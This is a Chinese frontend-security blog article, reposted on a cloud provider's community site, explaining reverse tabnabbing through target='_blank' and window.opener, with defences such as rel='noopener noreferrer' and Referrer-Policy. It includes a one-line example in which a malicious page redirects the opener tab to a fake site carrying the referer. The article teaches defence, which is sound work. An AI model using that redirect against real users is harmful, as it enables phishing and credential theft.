你不曾察觉的隐患：危险的 target="_blank" 与 “opener”

jackwang 发布于2019-06-21 16:49 / 3258人阅读

摘要：恶意网站根据来伪造一个足以欺骗用户的页面，并展示出来期间还可以做一次跳转，使得浏览器的地址栏更具有迷惑性。而如果在链接中加入了，则此时两个标签页将会互不干扰，使得原页面的性能不会受到新页面的影响。

在网页中使用链接时，如果想要让浏览器自动在新的标签页打开指定的地址，通常的做法就是在 a 标签上添加 target等于"_blank" 属性。
然而，就是这个属性，为钓鱼攻击者带来了可乘之机。

起源 parent 与 opener

在说 opener 之前，可以先聊聊 </b> 中的 <b>parent</b>。</p> <p>我们知道，在 <b><iframe></b> 中提供了一个用于父子页面交互的对象，叫做 <b>window.parent</b>，我们可以通过 <b>window.parent</b> 对象来从框架中的页面访问父级页面的 <b>window</b>。</p> <p><b>opener</b> 与 <b>parent</b> 一样，只不过是用于 <b><a target="_blank"></b> 在新标签页打开的页面的。通过 <b><a target="_blank"></b> 打开的页面，可以直接使用 <b>window.opener</b> 来访问来源页面的 <b>window</b> 对象。</p> <b>同域与跨域</b> <p>浏览器提供了完整的跨域保护，在域名相同时，<b>parent</b> 对象和 <b>opener</b> 对象实际上就直接是上一级的 <b>window</b> 对象；而当域名不同时，<b>parent</b> 和 <b>opener</b> 则是经过包装的一个 <b>global</b> 对象。这个 <b>global</b> 对象仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出 <b>DOMException</b>）。</p> <p><script type="text/javascript">showImg("https://segmentfault.com/img/bVbg33S?w=729&h=42");</script></p> <p><script type="text/javascript">showImg("https://segmentfault.com/img/bVbg33T?w=729&h=42");</script></p> <p>在 <b><iframe></b> 中，提供了一个 <b>sandbox</b> 属性用于控制框架中的页面的权限，因此即使是同域，也可以控制 <b><iframe></b> 的安全性。</p> <b>利用</b> <p>如果，你的网站上有一个链接，使用了 <b>target="_blank"</b>，那么一旦用户点击这个链接并进入一个新的标签，新标签中的页面如果存在恶意代码，就可以将你的网站直接导航到一个虚假网站。此时，如果用户回到你的标签页，看到的就是被替换过的页面了。</p> <b>详细步骤</b> <p> <p>在你的网站 <b>https://example.com</b> 上存在一个链接：</p> <pre><a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a></pre> </p> <p> <p>用户点击了这个链接，在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 <b>Referer</b> 属性来判断用户的来源。</p> <p>并且，这个网站上包含着类似于这样的 JavaScript 代码：</p> <pre>const url = encodeURIComponent("{{header.referer}}"); window.opener.location.replace("https://a.fake.site/?" + url);</pre> </p> <p>此时，用户在继续浏览这个新的标签页，而原来的网站所在的标签页此时已经被导航到了 <b>https://a.fake.site/?https%3A%2F%2Fexample.com%2F</b>。</p> <p>恶意网站 <b>https://a.fake.site</b> 根据 Query String 来伪造一个足以欺骗用户的页面，并展示出来（期间还可以做一次跳转，使得浏览器的地址栏更具有迷惑性）。</p> <p>用户关闭 <b>https://an.evil.site</b> 的标签页，回到原来的网站………………已经回不去了。</p> <pre>上面的攻击步骤是在跨域的情况下的，在跨域情况下，<b>opener</b> 对象和 <b>parent</b> 一样，是受到限制的，仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出 <b>DOMException</b>）。<p>但是与 <b>parent</b> 不同的是，<strong>在跨域的情况下，<b>opener</b> 仍然可以调用 <b>location.replace</b> 方法</strong>而 <b>parent</b> 则不可以。</p> <p>如果是在同域的情况下（比如一个网站上的某一个页面被植入了恶意代码），则情况要比上面严重得多。</p> </pre> <b>防御</b> <p><b><iframe></b> 中有 <b>sandbox</b> 属性，而链接，则可以使用下面的办法：</p> <b>1. Referrer Policy 和 noreferrer</b> <p>上面的攻击步骤中，用到了 HTTP Header 中的 <b>Referer</b> 属性，实际上可以在 HTTP 的响应头中增加 <b>Referrer Policy</b> 头来保证来源隐私安全。</p> <p><b>Referrer Policy</b> 需要修改后端代码来实现，而在前端，也可以使用 <b><a></b> 标签的 <b>rel</b> 属性来指定 <b>rel="noreferrer"</b> 来保证来源隐私安全。</p> <pre><a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a></pre> <pre>但是要注意的是：即使限制了 <b>referer</b> 的传递，仍然不能阻止原标签被恶意跳转。</pre> <b>2. noopener</b> <p>为了安全，现代浏览器都支持在 <b><a></b> 标签的 <b>rel</b> 属性中指定 <b>rel="noopener"</b>，这样，在打开的新标签页中，将无法再使用 <b>opener</b> 对象了，它为设置为了 <b>null</b>。</p> <pre><a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a></pre> <b>3. JavaScript</b> <p><b>noopener</b> 属性看似是解决了所有问题，但是...浏览器的兼容性问题...</p> <p><script type="text/javascript">showImg("https://segmentfault.com/img/bVbg33Y?w=1200&h=814");</script></p> <p>可以看到，现在绝大多数浏览器都已经兼容了 <b>rel="noopener"</b> 属性了。但是，为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器，只有 <b>noopener</b> 属性还是远远不够的。</p> <p>这时，就只能请出下面这段原生 JavaScript 来帮忙了。</p> <pre>"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }</pre> <b>推荐</b> <p>首先，在网站中的链接上，如果使用了 <b>target="_blank"</b>，就要带上 <b>rel="noopener"</b>，并且建议带上 <b>rel="noreferrer"</b>。类似于这样：</p> <pre><a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a></pre> <p>当然，在跳转到第三方网站的时候，为了 SEO 权重，还建议带上 <b>rel="nofollow"</b>，所以最终类似于这样：</p> <pre><a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a></pre> <b>性能</b> <p>最后，再来说说性能问题。</p> <p>如果网站使用了 <b><a target="_blank"></b>，那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本，那么原始标签页也会受到影响，会出现卡顿的现象（当然不至于卡死）。</p> <p>而如果在链接中加入了 <b>noopener</b>，则此时两个标签页将会互不干扰，使得原页面的性能不会受到新页面的影响。</p> <hr> <pre>文 / jinliming2<br>一条对新鲜事物充满了好奇心的咸鱼<p>编 / 荧声</p> </pre> <p>本文已由作者授权发布，版权属于创宇前端。欢迎注明出处转载本文。本文链接：https://knownsec-fed.com/2018...</p> <p>想要订阅更多来自知道创宇开发一线的分享，请搜索关注我们的微信公众号：创宇前端（KnownsecFED）。欢迎留言讨论，我们会尽可能回复。</p> <p><script type="text/javascript">showImg("https://segmentfault.com/img/bVbgVle?w=296&h=295");</script></p> <p>欢迎点赞、收藏、留言评论、转发分享和打赏支持我们。打赏将被完全转交给文章作者。</p> <p>感谢您的阅读。</p> </div> <div class="mt-64 tags-seach" > <div class="tags-info"> <a style="width:120px;" title="云服务器" href="https://www.ucloud.cn/site/active/kuaijiesale.html?ytag=seo">云服务器</a> <a style="width:120px;" title="GPU云服务器" href="https://www.ucloud.cn/site/product/gpu.html">GPU云服务器</a> <a style="width:120px;" title="target_blank" href="https://www.ucloud.cn/yun/tag/target_blank/">target_blank</a> <a style="width:120px;" title="Quote" href="https://www.ucloud.cn/yun/tag/Quote/">Quote</a> <a style="width:120px;" title="quoted" href="https://www.ucloud.cn/yun/tag/quoted/">quoted</a> <a style="width:120px;" title="quot" href="https://www.ucloud.cn/yun/tag/quot/">quot</a> </div> </div> <div class="entry-copyright mb-30"> <p class="mb-15"> 文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。</p> <p>转载请注明本文地址：https://www.ucloud.cn/yun/11421.html</p> </div> <ul class="pre-next-page"> <li class="ellipsis"><a class="hpf" href="https://www.ucloud.cn/yun/11420.html">上一篇：为给“城市大脑”装上眼睛，他探索了近20年</a></li> <li class="ellipsis"><a class="hpf" href="https://www.ucloud.cn/yun/11422.html">下一篇：【开源项目】Spring Security三大权限框架案例讲解01—项目初始化</a></li> </ul> </div> <div class="about_topicone-mid"> <h3 class="top-com-title mb-0"><span data-id="0">相关文章</span></h3> <ul class="com_white-left-mid atricle-list-box"> <li> <div class="atricle-list-right"> <h2 class="ellipsis2"><a class="hpf" href="https://www.ucloud.cn/yun/54653.html"><b><em>你</em><em>不曾</em><em>察觉</em><em>的</em><em>隐患</em>：<em>危险</em><em>的</em> <em>target</em>=&<em>quot</em>;<em>_</em><em>blank</em>&<em>quot</em>; <em>与</em> “<em>opener</em>”</b></a></h2> <p class="ellipsis2 good">摘要：恶意网站根据来伪造一个足以欺骗用户的页面，并展示出来期间还可以做一次跳转，使得浏览器的地址栏更具有迷惑性。而如果在链接中加入了，则此时两个标签页将会互不干扰，使得原页面的性能不会受到新页面的影响。在网页中使用链接时，如果想要让浏览器自动在新的标签页打开指定的地址，通常的做法就是在 a 标签上添加 target等于_blank 属性。然而，就是这个属性，为钓鱼攻击者带来了可乘之机。 s...</p> <div class="com_white-left-info"> <div class="com_white-left-infol"> <a href="https://www.ucloud.cn/yun/u-294.html"><img src="https://www.ucloud.cn/yun/data/avatar/000/00/02/small_000000294.jpg" alt=""><span class="layui-hide64">venmos</span></a> <time datetime="">2019-08-02 16:05</time> <span><i class="fa fa-commenting"></i>评论0</span> <span><i class="fa fa-star"></i>收藏0</span> </div> </div> </div> </li> <li> <div class="atricle-list-right"> <h2 class="ellipsis2"><a class="hpf" href="https://www.ucloud.cn/yun/97826.html"><b><em>你</em><em>不曾</em><em>察觉</em><em>的</em><em>隐患</em>：<em>危险</em><em>的</em> <em>target</em>=&<em>quot</em>;<em>_</em><em>blank</em>&<em>quot</em>; <em>与</em> “<em>opener</em>”</b></a></h2> <p class="ellipsis2 good">摘要：恶意网站根据来伪造一个足以欺骗用户的页面，并展示出来期间还可以做一次跳转，使得浏览器的地址栏更具有迷惑性。而如果在链接中加入了，则此时两个标签页将会互不干扰，使得原页面的性能不会受到新页面的影响。在网页中使用链接时，如果想要让浏览器自动在新的标签页打开指定的地址，通常的做法就是在 a 标签上添加 target等于_blank 属性。然而，就是这个属性，为钓鱼攻击者带来了可乘之机。 s...</p> <div class="com_white-left-info"> <div class="com_white-left-infol"> <a href="https://www.ucloud.cn/yun/u-493.html"><img src="https://www.ucloud.cn/yun/data/avatar/000/00/04/small_000000493.jpg" alt=""><span class="layui-hide64">EsgynChina</span></a> <time datetime="">2019-08-23 12:00</time> <span><i class="fa fa-commenting"></i>评论0</span> <span><i class="fa fa-star"></i>收藏0</span> </div> </div> </div> </li> <li> <div class="atricle-list-right"> <h2 class="ellipsis2"><a class="hpf" href="https://www.ucloud.cn/yun/109770.html"><b>优秀博文收藏（不定期更新）</b></a></h2> <p class="ellipsis2 good">摘要：我的书签我的书签谨慎导入，小心覆盖工具类版本管理快速切换源配置教程指南可视化工具前端工具集前端助手网络封包截取工具格式化工具标注工具模拟请求类深入浅出布局你所不知道的动画技巧与细节常用代码黑魔法小技巧，让你少写不必要的，代码更优雅一劳永我的书签我的书签（谨慎导入，小心覆盖）工具类 nvm: node版本管理 nrm: 快速切换npm源 shell: zsh+on-my-zsh配...</p> <div class="com_white-left-info"> <div class="com_white-left-infol"> <a href="https://www.ucloud.cn/yun/u-1105.html"><img src="https://www.ucloud.cn/yun/data/avatar/000/00/11/small_000001105.jpg" alt=""><span class="layui-hide64">sunsmell</span></a> <time datetime="">2019-08-26 13:54</time> <span><i class="fa fa-commenting"></i>评论0</span> <span><i class="fa fa-star"></i>收藏0</span> </div> </div> </div> </li> <li> <div class="atricle-list-right"> <h2 class="ellipsis2"><a class="hpf" href="https://www.ucloud.cn/yun/114679.html"><b>优秀博文收藏（不定期更新）</b></a></h2> <p class="ellipsis2 good">摘要：我的书签我的书签谨慎导入，小心覆盖工具类版本管理快速切换源配置教程指南可视化工具前端工具集前端助手网络封包截取工具格式化工具标注工具模拟请求类深入浅出布局你所不知道的动画技巧与细节常用代码黑魔法小技巧，让你少写不必要的，代码更优雅一劳永我的书签我的书签（谨慎导入，小心覆盖）工具类 nvm: node版本管理 nrm: 快速切换npm源 shell: zsh+on-my-zsh配...</p> <div class="com_white-left-info"> <div class="com_white-left-infol"> <a href="https://www.ucloud.cn/yun/u-191.html"><img src="https://www.ucloud.cn/yun/data/avatar/000/00/01/small_000000191.jpg" alt=""><span class="layui-hide64">zhangfaliang</span></a> <time datetime="">2019-08-30 10:57</time> <span><i class="fa fa-commenting"></i>评论0</span> <span><i class="fa fa-star"></i>收藏0</span> </div> </div> </div> </li> </ul> </div> <div class="topicone-box-wangeditor"> <h3 class="top-com-title mb-64"><span>发表评论</span></h3> <div class="xcp-publish-main flex_box_zd"> <div class="unlogin-pinglun-box"> <a href="javascript:login()" class="grad">登陆后可评论</a> </div> </div> </div> <div class="site-box-content"> <div class="site-content-title"> <h3 class="top-com-title mb-64"><span>0条评论</span></h3> </div> <div class="pages"></ul></div> </div> </div> <div class="layui-col-md4 layui-col-lg3 com_white-right site-wrap-right"> <div class=""> <div class="com_layuiright-box user-msgbox"> <a href="https://www.ucloud.cn/yun/u-522.html"><img src="https://www.ucloud.cn/yun/data/avatar/000/00/05/small_000000522.jpg" alt=""></a> <h3><a href="https://www.ucloud.cn/yun/u-522.html" rel="nofollow">jackwang</a></h3> <h6>男<span>|</span>高级讲师</h6> <div class="flex_box_zd user-msgbox-atten"> <a href="javascript:attentto_user(522)" id="attenttouser_522" class="grad follow-btn notfollow attention">我要关注</a> <a href="javascript:login()" title="发私信" >我要私信</a> </div> <div class="user-msgbox-list flex_box_zd"> <h3 class="hpf">TA的文章</h3> <a href="https://www.ucloud.cn/yun/ut-522.html" class="box_hxjz">阅读更多</a> </div> <ul class="user-msgbox-ul"> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/119037.html">UCloud：推出快杰共享型云主机，新一代AMD Rome EPYC2处理器，CPU性能共享，内蒙古</a></h3> <p>阅读 1769<span>·</span>2021-09-03 10:50</p></li> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/117212.html">CSS 预处理器之目录</a></h3> <p>阅读 1313<span>·</span>2019-08-30 15:55</p></li> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/116455.html">盒模型/行内框盒子模型及line-height/vertal-align取值分析</a></h3> <p>阅读 3350<span>·</span>2019-08-30 15:52</p></li> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/116167.html">跨浏览器问题的五种解决方案</a></h3> <p>阅读 1207<span>·</span>2019-08-30 15:44</p></li> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/116136.html">如何优雅监听容器高度变化</a></h3> <p>阅读 899<span>·</span>2019-08-30 15:44</p></li> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/115985.html">Codepen 每日精选（2018-4-9）</a></h3> <p>阅读 3287<span>·</span>2019-08-30 14:23</p></li> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/110844.html">CSS设计模式：OOCSS 和 SMACSS</a></h3> <p>阅读 3534<span>·</span>2019-08-28 17:51</p></li> <li><h3 class="ellipsis"><a href="https://www.ucloud.cn/yun/109707.html">优化JavaScript总结分享（上）</a></h3> <p>阅读 2268<span>·</span>2019-08-26 13:52</p></li> </ul> </div>  <div class="com_layuiright-box"> <h6 class="top-com-title"><span>最新活动</span></h6> <div class="com_adbox"> <div class="layui-carousel" id="right-item"> <div carousel-item> <div> <a href="https://www.ucloud.cn/site/active/kuaijiesale.html?ytag=seo" rel="nofollow"> <img src="https://www.ucloud.cn/yun/data/attach/240625/2rTjEHmi.png" alt="云服务器"> </a> </div> <div> <a href="https://www.ucloud.cn/site/product/gpu.html" rel="nofollow"> <img src="https://www.ucloud.cn/yun/data/attach/240807/7NjZjdrd.png" alt="GPU云服务器"> </a> </div> </div> </div> </div>  <div class="adhtml"> </div> <script> $(function(){ $.ajax({ type: "GET", url:"https://www.ucloud.cn/yun/ad/getad/1.html", cache: false, success: function(text){ $(".adhtml").html(text); } }); }) </script> </div> </div> </div> </div> </div> </section>  <div class="site-tree-mobile layui-hide"> <i class="layui-icon layui-icon-spread-left"></i> </div>  <div class="site-mobile-shade"></div>  <div id="payread"> <div class="layui-form-item">阅读需要支付1元查看</div> <div class="layui-form-item"><button class="btn-right">支付并查看</button></div> </div> <script> var prei=0; $(".site-seo-depict pre").each(function(){ var html=$(this).html().replace("<code>","").replace("</code>","").replace('<code class="javascript hljs" codemark="1">',''); $(this).attr('data-clipboard-text',html).attr("id","pre"+prei); $(this).html("").append("<code>"+html+"</code>"); prei++; }) $(".site-seo-depict img").each(function(){ if($(this).attr("src").indexOf('data:image/svg+xml')!= -1){ $(this).remove(); } }) $("LINK[href*='style-49037e4d27.css']").remove(); $("LINK[href*='markdown_views-d7a94ec6ab.css']").remove(); layui.use(['jquery', 'layer','code'], function(){ $("pre").attr("class","layui-code"); $("pre").attr("lay-title",""); $("pre").attr("lay-skin",""); layui.code(); $(".layui-code-h3 a").attr("class","copycode").html("复制代码 ").attr("onclick","copycode(this)"); }); function copycode(target){ var id=$(target).parent().parent().attr("id"); var clipboard = new ClipboardJS("#"+id); clipboard.on('success', function(e) { e.clearSelection(); alert("复制成功") }); clipboard.on('error', function(e) { alert("复制失败") }); } //$(".site-seo-depict").html($(".site-seo-depict").html().slice(0, -5)); </script> <link rel="stylesheet" type="text/css" href="https://www.ucloud.cn/yun/static/js/neweditor/code/styles/tomorrow-night-eighties.css"> <script src="https://www.ucloud.cn/yun/static/js/neweditor/code/highlight.pack.js" type="text/javascript"></script> <script src="https://www.ucloud.cn/yun/static/js/clipboard.js"></script> <script>hljs.initHighlightingOnLoad();</script> <script> function setcode(){ var _html=''; document.querySelectorAll('pre code').forEach((block) => { var _tmptext=$.trim($(block).text()); if(_tmptext!=''){ _html=_html+_tmptext; console.log(_html); } }); } </script> <script> function payread(){ layer.open({ type: 1, title:"付费阅读", shadeClose: true, content: $('#payread') }); } // 举报 function jupao_tip(){ layer.open({ type: 1, title:false, shadeClose: true, content: $('#jubao') }); } $(".getcommentlist").click(function(){ var _id=$(this).attr("dataid"); var _tid=$(this).attr("datatid"); $("#articlecommentlist"+_id).toggleClass("hide"); var flag=$("#articlecommentlist"+_id).attr("dataflag"); if(flag==1){ flag=0; }else{ flag=1; //加载评论 loadarticlecommentlist(_id,_tid); } $("#articlecommentlist"+_id).attr("dataflag",flag); }) $(".add-comment-btn").click(function(){ var _id=$(this).attr("dataid"); $(".formcomment"+_id).toggleClass("hide"); }) $(".btn-sendartcomment").click(function(){ var _aid=$(this).attr("dataid"); var _tid=$(this).attr("datatid"); var _content=$.trim($(".commenttext"+_aid).val()); if(_content==''){ alert("评论内容不能为空"); return false; } var touid=$("#btnsendcomment"+_aid).attr("touid"); if(touid==null){ touid=0; } addarticlecomment(_tid,_aid,_content,touid); }) $(".button_agree").click(function(){ var supportobj = $(this); var tid = $(this).attr("id"); $.ajax({ type: "GET", url:"https://www.ucloud.cn/yun/index.php?topic/ajaxhassupport/" + tid, cache: false, success: function(hassupport){ if (hassupport != '1'){ $.ajax({ type: "GET", cache:false, url: "https://www.ucloud.cn/yun/index.php?topic/ajaxaddsupport/" + tid, success: function(comments) { supportobj.find("span").html(comments+"人赞"); } }); }else{ alert("您已经赞过"); } } }); }); function attenquestion(_tid,_rs){ $.ajax({ //提交数据的类型 POST GET type:"POST", //提交的网址 url:"https://www.ucloud.cn/yun/favorite/topicadd.html", //提交的数据 data:{tid:_tid,rs:_rs}, //返回数据的格式 datatype: "json",//"xml", "html", "script", "json", "jsonp", "text". //在请求之前调用的函数 beforeSend:function(){}, //成功返回之后调用的函数 success:function(data){ var data=eval("("+data+")"); console.log(data) if(data.code==2000){ layer.msg(data.msg,function(){ if(data.rs==1){ //取消收藏 $(".layui-layer-tips").attr("data-tips","收藏文章"); $(".layui-layer-tips").html('<i class="fa fa-heart-o"></i>'); } if(data.rs==0){ //收藏成功 $(".layui-layer-tips").attr("data-tips","已收藏文章"); $(".layui-layer-tips").html('<i class="fa fa-heart"></i>') } }) }else{ layer.msg(data.msg) } } , //调用执行后调用的函数 complete: function(XMLHttpRequest, textStatus){ postadopt=true; }, //调用出错执行的函数 error: function(){ //请求出错处理 postadopt=false; } }); } </script> <footer> <div class="layui-container"> <div class="flex_box_zd"> <div class="left-footer"> <h6><a href="https://www.ucloud.cn/"><img src="https://www.ucloud.cn/yun/static/theme/ukd//images/logo.png" alt="UCloud （优刻得科技股份有限公司）"></a></h6> <p>UCloud （优刻得科技股份有限公司）是中立、安全的云计算服务平台，坚持中立，不涉足客户业务领域。公司自主研发IaaS、PaaS、大数据流通平台、AI服务平台等一系列云计算产品，并深入了解互联网、传统企业在不同场景下的业务需求，提供公有云、混合云、私有云、专有云在内的综合性行业解决方案。</p> </div> <div class="right-footer layui-hidemd"> <ul class="flex_box_zd"> <li> <h6>UCloud与云服务</h6> <p><a href="https://www.ucloud.cn/site/about/intro/">公司介绍</a></p> <p><a href="https://zhaopin.ucloud.cn/" >加入我们</a></p> <p><a href="https://www.ucloud.cn/site/ucan/onlineclass/">UCan线上公开课</a></p> <p><a href="https://www.ucloud.cn/site/solutions.html" >行业解决方案</a></p> <p><a href="https://www.ucloud.cn/site/pro-notice/">产品动态</a></p> </li> <li> <h6>友情链接</h6> <p><a href="https://www.compshare.cn/?ytag=seo">GPU算力平台</a></p> <p><a href="https://www.ucloudstack.com/?ytag=seo">UCloud私有云</a></p> <p><a href="https://www.surfercloud.com/">SurferCloud</a></p> <p><a href="https://www.uwin-link.com/">工厂仿真软件</a></p> <p><a href="https://pinex.it/">Pinex</a></p> <p><a href="https://www.picpik.ai/zh">AI绘画</a></p> </li> <li> <h6>社区栏目</h6> <p><a href="https://www.ucloud.cn/yun/column/index.html">专栏文章</a></p> <p><a href="https://www.ucloud.cn/yun/udata/">专题地图</a></p> </li> <li> <h6>常见问题</h6> <p><a href="https://www.ucloud.cn/site/ucsafe/notice.html" >安全中心</a></p> <p><a href="https://www.ucloud.cn/site/about/news/recent/" >新闻动态</a></p> <p><a href="https://www.ucloud.cn/site/about/news/report/">媒体动态</a></p> <p><a href="https://www.ucloud.cn/site/cases.html">客户案例</a></p> <p><a href="https://www.ucloud.cn/site/notice/">公告</a></p> </li> <li> <span><img src="https://static.ucloud.cn/7a4b6983f4b94bcb97380adc5d073865.png" alt="优刻得"></span> <p>扫扫了解更多</p></div> </div> <div class="copyright">Copyright © 2012-2023 UCloud 优刻得科技股份有限公司<i>｜</i><a rel="nofollow" href="http://beian.miit.gov.cn/">沪公网安备 31011002000058号</a><i>｜</i><a rel="nofollow" href="http://beian.miit.gov.cn/"></a> 沪ICP备12020087号-3</a><i>｜</i> <script type="text/javascript" src="https://gyfk12.kuaishang.cn/bs/ks.j?cI=197688&fI=125915" charset="utf-8"></script> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?290c2650b305fc9fff0dbdcafe48b59d"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script>  <script async src="https://www.googletagmanager.com/gtag/js?id=G-DZSMXQ3P9N"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-DZSMXQ3P9N'); </script> <script> (function(){ var el = document.createElement("script"); el.src = "https://lf1-cdn-tos.bytegoofy.com/goofy/ttzz/push.js?99f50ea166557aed914eb4a66a7a70a4709cbb98a54ecb576877d99556fb4bfc3d72cd14f8a76432df3935ab77ec54f830517b3cb210f7fd334f50ccb772134a"; el.id = "ttzz"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(el, s); })(window) </script></div> </div> </footer> </body> <script src="https://www.ucloud.cn/yun/static/theme/ukd/js/common.js"></script> <<script type="text/javascript"> $(".site-seo-depict *,.site-content-answer-body *,.site-body-depict *").css("max-width","100%"); </script> </html>

资讯专栏INFORMATION COLUMN

上云采购季！| 2核2G4M爆款云服务器低至59元/年，更有多台、长期优惠，快来选购！

你不曾察觉的隐患：危险的 target="_blank" 与 “opener”